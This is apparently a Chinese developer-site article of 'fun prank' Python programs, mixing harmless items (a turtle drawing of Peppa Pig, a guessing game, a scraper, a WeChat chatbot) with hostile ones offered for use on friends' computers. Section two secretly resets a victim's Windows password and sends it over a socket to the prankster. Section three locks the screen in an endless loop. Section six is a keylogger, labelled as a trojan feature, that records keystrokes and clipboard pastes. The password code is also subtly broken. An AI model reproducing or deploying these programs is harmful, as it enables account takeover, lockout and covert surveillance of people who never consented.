自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

分享幾款由“Python”語言編寫的“有趣、惡搞、好玩”的程序代碼

開發(fā) 后端
為提高大家對“Python”編程語言的學(xué)習(xí)興趣,今天給大家分享幾款有趣的Python程序代碼,感興趣的小伙伴可以跟著學(xué)習(xí)借鑒哦!

為提高大家對“Python”編程語言的學(xué)習(xí)興趣,今天給大家分享幾款有趣的Python程序代碼,感興趣的小伙伴可以跟著學(xué)習(xí)借鑒哦!

分享一:"啥是佩奇?"讓Python語言告訴你

\"啥是佩奇?\"讓Python語言告訴你

用Python代碼創(chuàng)作一副佩奇:

  1. # coding:utf-8 
  2. import turtle as t 
  3.  
  4. t.pensize(4) 
  5. t.hideturtle() 
  6. t.colormode(255) 
  7. t.color((255,155,192),"pink") 
  8. t.setup(840,500) 
  9. t.speed(10) 
  10.  
  11. #鼻子 
  12. t.pu() 
  13. t.goto(-100,100) 
  14. t.pd() 
  15. t.seth(-30) 
  16. t.begin_fill() 
  17. a=0.4 
  18. for i in range(120): 
  19. if 0<=i<30 or 60<=i<90: 
  20. aa=a+0.08 
  21. t.lt(3) #向左轉(zhuǎn)3度 
  22. t.fd(a) #向前走a的步長 
  23. else: 
  24. aa=a-0.08 
  25. t.lt(3) 
  26. t.fd(a) 
  27. t.end_fill() 
  28.  
  29. t.pu() 
  30. t.seth(90) 
  31. t.fd(25) 
  32. t.seth(0) 
  33. t.fd(10) 
  34. t.pd() 
  35. t.pencolor(255,155,192) 
  36. t.seth(10) 
  37. t.begin_fill() 
  38. t.circle(5) 
  39. t.color(160,82,45) 
  40. t.end_fill() 
  41.  
  42. t.pu() 
  43. t.seth(0) 
  44. t.fd(20) 
  45. t.pd() 
  46. t.pencolor(255,155,192) 
  47. t.seth(10) 
  48. t.begin_fill() 
  49. t.circle(5) 
  50. t.color(160,82,45) 
  51. t.end_fill() 
  52.  
  53. #頭 
  54. t.color((255,155,192),"pink") 
  55. t.pu() 
  56. t.seth(90) 
  57. t.fd(41) 
  58. t.seth(0) 
  59. t.fd(0) 
  60. t.pd() 
  61. t.begin_fill() 
  62. t.seth(180) 
  63. t.circle(300,-30) 
  64. t.circle(100,-60) 
  65. t.circle(80,-100) 
  66. t.circle(150,-20) 
  67. t.circle(60,-95) 
  68. t.seth(161) 
  69. t.circle(-300,15) 
  70. t.pu() 
  71. t.goto(-100,100) 
  72. t.pd() 
  73. t.seth(-30) 
  74. a=0.4 
  75. for i in range(60): 
  76. if 0<=i<30 or 60<=i<90: 
  77. aa=a+0.08 
  78. t.lt(3) #向左轉(zhuǎn)3度 
  79. t.fd(a) #向前走a的步長 
  80. else: 
  81. aa=a-0.08 
  82. t.lt(3) 
  83. t.fd(a) 
  84. t.end_fill() 
  85.  
  86. #耳朵 
  87. t.color((255,155,192),"pink") 
  88. t.pu() 
  89. t.seth(90) 
  90. t.fd(-7) 
  91. t.seth(0) 
  92. t.fd(70) 
  93. t.pd() 
  94. t.begin_fill() 
  95. t.seth(100) 
  96. t.circle(-50,50) 
  97. t.circle(-10,120) 
  98. t.circle(-50,54) 
  99. t.end_fill() 
  100.  
  101. t.pu() 
  102. t.seth(90) 
  103. t.fd(-12) 
  104. t.seth(0) 
  105. t.fd(30) 
  106. t.pd() 
  107. t.begin_fill() 
  108. t.seth(100) 
  109. t.circle(-50,50) 
  110. t.circle(-10,120) 
  111. t.circle(-50,56) 
  112. t.end_fill() 
  113.  
  114. #眼睛 
  115. t.color((255,155,192),"white") 
  116. t.pu() 
  117. t.seth(90) 
  118. t.fd(-20) 
  119. t.seth(0) 
  120. t.fd(-95) 
  121. t.pd() 
  122. t.begin_fill() 
  123. t.circle(15) 
  124. t.end_fill() 
  125.  
  126. t.color("black") 
  127. t.pu() 
  128. t.seth(90) 
  129. t.fd(12) 
  130. t.seth(0) 
  131. t.fd(-3) 
  132. t.pd() 
  133. t.begin_fill() 
  134. t.circle(3) 
  135. t.end_fill() 
  136.  
  137. t.color((255,155,192),"white") 
  138. t.pu() 
  139. t.seth(90) 
  140. t.fd(-25) 
  141. t.seth(0) 
  142. t.fd(40) 
  143. t.pd() 
  144. t.begin_fill() 
  145. t.circle(15) 
  146. t.end_fill() 
  147.  
  148. t.color("black") 
  149. t.pu() 
  150. t.seth(90) 
  151. t.fd(12) 
  152. t.seth(0) 
  153. t.fd(-3) 
  154. t.pd() 
  155. t.begin_fill() 
  156. t.circle(3) 
  157. t.end_fill() 
  158.  
  159. #腮 
  160. t.color((255,155,192)) 
  161. t.pu() 
  162. t.seth(90) 
  163. t.fd(-95) 
  164. t.seth(0) 
  165. t.fd(65) 
  166. t.pd() 
  167. t.begin_fill() 
  168. t.circle(30) 
  169. t.end_fill() 
  170.  
  171. #嘴 
  172. t.color(239,69,19) 
  173. t.pu() 
  174. t.seth(90) 
  175. t.fd(15) 
  176. t.seth(0) 
  177. t.fd(-100) 
  178. t.pd() 
  179. t.seth(-80) 
  180. t.circle(30,40) 
  181. t.circle(40,80) 
  182.  
  183. #身體 
  184. t.color("red",(255,99,71)) 
  185. t.pu() 
  186. t.seth(90) 
  187. t.fd(-20) 
  188. t.seth(0) 
  189. t.fd(-78) 
  190. t.pd() 
  191. t.begin_fill() 
  192. t.seth(-130) 
  193. t.circle(100,10) 
  194. t.circle(300,30) 
  195. t.seth(0) 
  196. t.fd(230) 
  197. t.seth(90) 
  198. t.circle(300,30) 
  199. t.circle(100,3) 
  200. t.color((255,155,192),(255,100,100)) 
  201. t.seth(-135) 
  202. t.circle(-80,63) 
  203. t.circle(-150,24) 
  204. t.end_fill() 
  205.  
  206. #手 
  207. t.color((255,155,192)) 
  208. t.pu() 
  209. t.seth(90) 
  210. t.fd(-40) 
  211. t.seth(0) 
  212. t.fd(-27) 
  213. t.pd() 
  214. t.seth(-160) 
  215. t.circle(300,15) 
  216. t.pu() 
  217. t.seth(90) 
  218. t.fd(15) 
  219. t.seth(0) 
  220. t.fd(0) 
  221. t.pd() 
  222. t.seth(-10) 
  223. t.circle(-20,90) 
  224.  
  225. t.pu() 
  226. t.seth(90) 
  227. t.fd(30) 
  228. t.seth(0) 
  229. t.fd(237) 
  230. t.pd() 
  231. t.seth(-20) 
  232. t.circle(-300,15) 
  233. t.pu() 
  234. t.seth(90) 
  235. t.fd(20) 
  236. t.seth(0) 
  237. t.fd(0) 
  238. t.pd() 
  239. t.seth(-170) 
  240. t.circle(20,90) 
  241.  
  242. #腳 
  243. t.pensize(10) 
  244. t.color((240,128,128)) 
  245. t.pu() 
  246. t.seth(90) 
  247. t.fd(-75) 
  248. t.seth(0) 
  249. t.fd(-180) 
  250. t.pd() 
  251. t.seth(-90) 
  252. t.fd(40) 
  253. t.seth(-180) 
  254. t.color("black") 
  255. t.pensize(15) 
  256. t.fd(20) 
  257.  
  258. t.pensize(10) 
  259. t.color((240,128,128)) 
  260. t.pu() 
  261. t.seth(90) 
  262. t.fd(40) 
  263. t.seth(0) 
  264. t.fd(90) 
  265. t.pd() 
  266. t.seth(-90) 
  267. t.fd(40) 
  268. t.seth(-180) 
  269. t.color("black") 
  270. t.pensize(15) 
  271. t.fd(20) 
  272.  
  273. #尾巴 
  274. t.pensize(4) 
  275. t.color((255,155,192)) 
  276. t.pu() 
  277. t.seth(90) 
  278. t.fd(70) 
  279. t.seth(0) 
  280. t.fd(95) 
  281. t.pd() 
  282. t.seth(0) 
  283. t.circle(70,20) 
  284. t.circle(10,330) 
  285. t.circle(70,30) 
  286. t.done() 

效果圖如下:

分享二:一個(gè)可以套路別人的python小程序

程序是使用pycharm工具,python語言所寫。程序包括客戶端 client.py 和服務(wù)器端 server.py 兩部分,利用了python中的socket包。

使用方法:

首先,你需要你和你的朋友在同一個(gè)局域網(wǎng)內(nèi),然后在你的主機(jī)上,運(yùn)行服務(wù)器端 server.py。

然后,讓你的朋友在他的電腦上運(yùn)行客戶端 client.py。

此時(shí)你朋友電腦的windows用戶密碼,就會(huì)變成一個(gè)隨機(jī)密碼,且這個(gè)生成的隨機(jī)密碼他本人無法得知,而是把這個(gè)密碼通過socket傳給了服務(wù)器端的你。

嗯,然后你朋友的電腦密碼就只有你自己知道了~

上代碼:

  1. # client.py: 
  2. import socket 
  3. import getpass 
  4. import subprocess 
  5. import random 
  6. phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  7. phone.connect(('172.17.21.56', 8080)) 
  8. user = getpass.getuser() 
  9. psd = '' 
  10. for j in range(1, 9): 
  11. m = str(random.randrange(0, 10)) 
  12. psdpsd = psd + m 
  13. subprocess.Popen(['net', 'User', user, psd]) 
  14. phone.send(psd.encode('utf-8')) 
  15. back_msg = phone.recv(1024) 
  16. phone.close() 
  17. # server.py 
  18. import socket 
  19. phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  20. phone.bind(('172.17.21.56', 8080)) 
  21. phone.listen(5) 
  22. print('starting....') 
  23. conn, addr = phone.accept() 
  24. print(conn) 
  25. print('client addr', addr) 
  26. print('ready to read msg') 
  27. client_msg = conn.recv(1024) 
  28. print('client msg: %s' % client_msg) 
  29. conn.send(client_msg.upper()) 
  30. conn.close() 
  31. phone.close() 

分享三:一段Python 惡搞代碼

代碼運(yùn)行后windows將無限鎖屏

代碼如下:

  1. from ctypes import *  
  2. while True:  
  3. user32 = windll.LoadLibrary('user32.dll')  
  4. user32.LockWorkStation() 

分享四:一款python代碼的數(shù)字猜謎小游戲

代碼如下:

  1. import random 
  2. rang1 = int(input("請?jiān)O(shè)置本局游戲的最小值:")) 
  3. rang2 = int(input("請?jiān)O(shè)置本局游戲的最大值:")) 
  4. num = random.randint(rang1,rang2) 
  5. guess = "guess" 
  6. print("數(shù)字猜謎游戲!") 
  7. i = 0 
  8. while guess != num: 
  9. i += 1 
  10. guess = int(input("請輸入你猜的數(shù)字:")) 
  11.  
  12. if guess == num: 
  13. print("恭喜,你猜對了!") 
  14. elif guess < num: 
  15. print("你猜的數(shù)小了...") 
  16. else: 
  17. print("你猜的數(shù)大了...") 
  18.  
  19. print("你總共猜了%d" %i + "次",end = ''
  20. print(",快和你朋友較量一下...") 

分享五:一段好玩的Python爬蟲代碼

這幾年網(wǎng)絡(luò)爬蟲很火,用Python語言實(shí)現(xiàn)網(wǎng)絡(luò)爬蟲最合適不過了,接下來分享一段好玩的爬蟲代碼:

  1. # -*- coding: utf-8 -*- 
  2. import urllib2 
  3. import re 
  4. class QSBK: 
  5. def __init__(self): 
  6. self.pageIndex = 1 
  7. self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64)' 
  8. self.headers = {'User-Agent': self.user_agent} 
  9. self.stories = [] 
  10. # 存放程序是否繼續(xù)運(yùn)行的變量 
  11. self.enable = False 
  12. # 傳入某一頁的索引獲得頁面代碼 
  13. def getPage(self, pageIndex): 
  14. try: 
  15. url = 'http://www.qiushibaike.com/hot/page/' + str(pageIndex) 
  16. request = urllib2.Request(url, headers = self.headers) 
  17. response = urllib2.urlopen(request) 
  18. pageCode = response.read().decode('utf-8') 
  19. return pageCode 
  20. except urllib2.URLError, e: 
  21. if hasattr(e, "reason"): 
  22. print u"連接糗事百科失敗,錯(cuò)誤原因", e.reason 
  23. return None 
  24.  
  25. # 傳入某一頁代碼,返回本頁不帶圖片的段子列表 
  26. def getPageItems(self, pageIndex): 
  27. pageCode = self.getPage(pageIndex) 
  28. if not pageCode: 
  29. print "頁面加載失敗。。。" 
  30. return None 
  31. pattern = re.compile('<div class="author clearfix">.*?<h2>(.*?)</h2>.*?"content">(.*?)</div>.*?number">(.*?)</.*?number">(.*?)</.',re.S) 
  32. items = re.findall(pattern, pageCode) 
  33. pageStories = [] 
  34. for item in items: 
  35. rereplaceBR = re.compile('<br/>') 
  36. text = re.sub(replaceBR," 
  37. ",item[1]) 
  38.  
  39. pageStories.append([item[0].strip(),text.strip(),item[2].strip(),item[3].strip()]) 
  40. return pageStories 
  41.  
  42. # 加載并提取頁面內(nèi)容,加入到列表中 
  43. def loadPage(self): 
  44. if self.enable == True: 
  45. if len(self.stories) < 2: 
  46. pageStories = self.getPageItems(self.pageIndex) 
  47. if pageStories: 
  48. self.stories.append(pageStories) 
  49. self.pageIndex += 1 
  50.  
  51. # 調(diào)用該方法,回車打印一個(gè)段子 
  52. def getOneStory(self, pageStories, page): 
  53. for story in pageStories: 
  54. input = raw_input() 
  55. self.loadPage() 
  56. if input == "Q": 
  57. self.enable = False 
  58. return 
  59. print u"第%d頁    發(fā)布人:%s  贊:%s    評論:%s 
  60. %s" %(page,story[0],story[2],story[3],story[1]) 
  61.  
  62. def start(self): 
  63. print u"正在讀取糗事百科,按回車查看新段子,Q退出" 
  64. self.enable = True 
  65. self.loadPage() 
  66. nowPage = 0 
  67. while self.enable: 
  68. if len(self.stories) > 0: 
  69. pageStories = self.stories[0] 
  70. nowPage += 1 
  71. del self.stories[0] 
  72. self.getOneStory(pageStories, nowPage) 
  73.  
  74. spider = QSBK() 
  75. spider.start() 

分享六、木馬程序常用的鍵盤記錄功能實(shí)現(xiàn)

Python keylogger鍵盤記錄的功能的實(shí)現(xiàn)主要利用了pythoncom及pythonhook,然后就是對windows API的各種調(diào)用。Python之所以用起來方便快捷,主要?dú)w功于這些龐大的支持庫,正所謂"人生苦短,快用Python"。

代碼如下:

  1. # -*- coding: utf-8 -*-  
  2. from ctypes import * 
  3. import pythoncom 
  4. import pyHook 
  5. import win32clipboard 
  6.   
  7. user32 = windll.user32 
  8. kernel32 = windll.kernel32 
  9. psapi = windll.psapi 
  10. current_window = None 
  11.   
  12. def get_current_process(): 
  13.   
  14.  # 獲取最上層的窗口句柄 
  15.  hwnd = user32.GetForegroundWindow() 
  16.   
  17.  # 獲取進(jìn)程ID 
  18.  pid = c_ulong(0) 
  19.  user32.GetWindowThreadProcessId(hwnd,byref(pid)) 
  20.   
  21.  # 將進(jìn)程ID存入變量中 
  22.  process_id = "%d" % pid.value 
  23.   
  24.  # 申請內(nèi)存 
  25.  executable = create_string_buffer("\x00"*512) 
  26.  h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) 
  27.   
  28.  psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) 
  29.   
  30.  # 讀取窗口標(biāo)題 
  31.  windows_title = create_string_buffer("\x00"*512) 
  32.  length = user32.GetWindowTextA(hwnd,byref(windows_title),512) 
  33.   
  34.  # 打印 
  35.  print 
  36.  print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) 
  37.  print 
  38.   
  39.  # 關(guān)閉handles 
  40.  kernel32.CloseHandle(hwnd) 
  41.  kernel32.CloseHandle(h_process) 
  42.   
  43. # 定義擊鍵監(jiān)聽事件函數(shù) 
  44. def KeyStroke(event): 
  45.   
  46.  global current_window 
  47.   
  48.  # 檢測目標(biāo)窗口是否轉(zhuǎn)移(換了其他窗口就監(jiān)聽新的窗口) 
  49.  if event.WindowName != current_window: 
  50.  current_window = event.WindowName 
  51.  # 函數(shù)調(diào)用 
  52.  get_current_process() 
  53.   
  54.  # 檢測擊鍵是否常規(guī)按鍵(非組合鍵等) 
  55.  if event.Ascii > 32 and event.Ascii <127: 
  56.  print chr(event.Ascii), 
  57.  else: 
  58.  # 如果發(fā)現(xiàn)Ctrl+v(粘貼)事件,就把粘貼板內(nèi)容記錄下來 
  59.  if event.Key == "V": 
  60.  win32clipboard.OpenClipboard() 
  61.  pasted_value = win32clipboard.GetClipboardData() 
  62.  win32clipboard.CloseClipboard() 
  63.  print "[PASTE]-%s" % (pasted_value), 
  64.  else: 
  65.  print "[%s]" % event.Key, 
  66.  # 循環(huán)監(jiān)聽下一個(gè)擊鍵事件 
  67.  return True 
  68.   
  69. # 創(chuàng)建并注冊hook管理器 
  70. kl = pyHook.HookManager() 
  71. kl.KeyDown = KeyStroke 
  72.   
  73. # 注冊hook并執(zhí)行 
  74. kl.HookKeyboard() 
  75. pythoncom.PumpMessages() 

分享七:用Python寫一個(gè)機(jī)器人陪自己聊聊天吧

用Python寫一個(gè)機(jī)器人陪自己聊聊天吧。是不是聽起來就很酷,用Python語言、itchat庫、圖靈機(jī)器人就可以輕松實(shí)現(xiàn)。

1. 需要的工具

  • Python。寫代碼的工具;
  • itchat庫。第三方庫,用來登錄微信,接收并回復(fù)微信好友信息;
  • 圖靈機(jī)器人。第三方接口,我們本次使用的機(jī)器人;

2. 代碼如下:

(1) 準(zhǔn)備

導(dǎo)入需要使用的第三方庫

(2) 獲取來自機(jī)器人的回復(fù)信息

在這里,調(diào)用圖靈機(jī)器人庫,把我們接收到的微信好友信息發(fā)給圖靈機(jī)器人,再取回機(jī)器人回復(fù)的信息,回復(fù)給好友。

這里要用到圖靈機(jī)器人的接口,到圖靈機(jī)器人官網(wǎng)(http://www.tuling123.com)注冊登陸之后,生成一個(gè)屬于個(gè)人的免費(fèi)接口,免費(fèi)接口一天只能用1000條,雖然不多,但娛樂一下自己也是足夠的了。

創(chuàng)建機(jī)器人成功之后會(huì)得到apikey,把這串密碼放到代碼中的"key"里,這一步就完成了。

[[256044]]

(3) 接受來自好友之間的對話信息

(4) 接受來自微信群里面的對話信息

如果不需要機(jī)器人在群聊里聊天,可以刪除這塊代碼。

(5) 運(yùn)行

最后一步,登錄微信,并運(yùn)行機(jī)器人。

[[256045]]

責(zé)任編輯:趙寧寧 來源: 今日頭條
相關(guān)推薦

2022-12-28 08:59:11

2011-04-17 09:23:42

jQueryJavaScriptJava

2020-11-27 11:19:55

開發(fā)API工具

2023-01-28 23:23:51

軟件監(jiān)測工具

2010-01-15 18:46:08

C++程序代碼

2011-11-03 15:44:10

程序員

2011-07-11 10:16:07

JavaScript

2009-06-17 14:29:50

java程序代碼

2023-11-17 11:55:54

Pythonretrying庫

2011-03-18 13:30:18

Android辦公

2010-07-17 00:55:48

PHP Telnet

2024-01-15 13:29:00

IDEA插件POJO

2023-08-05 14:13:53

項(xiàng)目管理工具

2013-07-29 14:28:43

JQueryJQuery實(shí)現(xiàn)分頁分頁程序代碼

2010-03-23 14:12:43

Python開發(fā)Win

2011-11-09 13:59:27

代碼腐爛

2010-03-09 10:49:35

python簡單應(yīng)用

2022-04-22 12:55:33

Qt開源項(xiàng)目

2020-11-19 07:47:55

IDEA插件

2020-11-20 14:39:24

IDEA開發(fā)插件
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號